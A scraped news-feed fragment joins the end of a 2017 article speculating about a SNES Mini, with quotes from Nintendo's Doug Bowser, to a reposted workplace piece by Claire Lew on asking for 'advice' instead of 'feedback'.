While Nintendo haven’t officially confirmed that they are working on a SNES Mini for launch this year, it seems likely that they’ll want to dip into a market that proved so popular for them.

“We’ve got a strategy where we want to increase the number and frequency of touch points with Nintendo properties with consumers,” Bowser added. 

“We’re doing that in a couple of ways. First, the console business with the Switch — through our dedicated console platform. 

“We’re also doing our mobile business. We’re doing it through licensing agreements, such as the Vans deal or the Uniqlo deal that we did this year. And we’re doing it with out of door experiential opportunities, such as Universal Studios.”

The SNES Mini wasn’t mentioned during E3 2017, which was firmly dominated by the Nintendo Switch.

But with recent holiday season success pointing to a lucrative new avenue of business, fans will want to keep their ears to the ground when it comes to Nintendo’s next big announcement.

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Daily Express :: Entertainment Feed

]]> https://briefnews.eu/nintendo-nes-classic-feedback-the-new-benchmark-for-snes-mini-launch/feed/ 0 Using this one word will encourage people to give you honest feedback https://briefnews.eu/using-this-one-word-will-encourage-people-to-give-you-honest-feedback/ https://briefnews.eu/using-this-one-word-will-encourage-people-to-give-you-honest-feedback/#respond Mon, 05 Jun 2017 14:56:10 +0000 http://briefnews.eu/using-this-one-word-will-encourage-people-to-give-you-honest-feedback/ conversation networkingFlickr/Sustainable UMD

A few years ago, a CEO told me how she was struggling to get honest feedback from her board.

No one seemed willing to be critical or give her pointers on things she could improve. After every board meeting, she would turn to them and ask directly:

“What feedback does anyone have for me?”

She’d hear crickets. Every single time.

No one would speak up. Even though they were board members — people who are supposed to hold her accountable as the CEO of the company — they shied away from offering their honest input.

This was so perplexing to the CEO. She felt like she was being very clear with what she wanted… Why weren’t they just giving her the feedback she was asking for?

One day, she decided to try something different.

Instead of asking, “What feedback does anyone have for me?”… she asked this:

“What advice does anyone have for me?”

All of sudden, everyone started weighing in. “Well I might try this…” and “The way you brought up this point could’ve been better…” and “You could try structuring the meeting like this…”

The word “advice” unlocked all the honest feedback that CEO needed.

Why? The word “feedback’” carries a lot of baggage. To some, they automatically associate it with a “critique” or something negative. It can seem scary and formal.

But “advice” is a much more welcoming word. Advice is about lending someone a hand. When someone gives you advice, they’re just looking out for you.

And when you ask for advice, it’s an invitation. You’re signaling that another person has expertise or knowledge that you find interesting and valuable. That person is often flattered you even asked for advice in the first place.

Who doesn’t love to give advice? 🙂

The next time you’d like to get honest feedback, try asking for advice instead. Notice how much more people open up to you. See how swapping that one word makes a difference.

Claire Lew is the CEO of Know Your Company, a software tool that helps CEOs get to know their employees better and overcome company growing pains.  Claire’s mission in life is to help people become happier at work. She speaks internationally on how to create more open, honest workplace environments, and has been published in Harvard Business Review, Fortune, Inc, among others.  

Read the original article on Signal v. Noise. Copyright 2017. Learn more on building an open, honest company culture through Know Your Company’s Knowledge Center.

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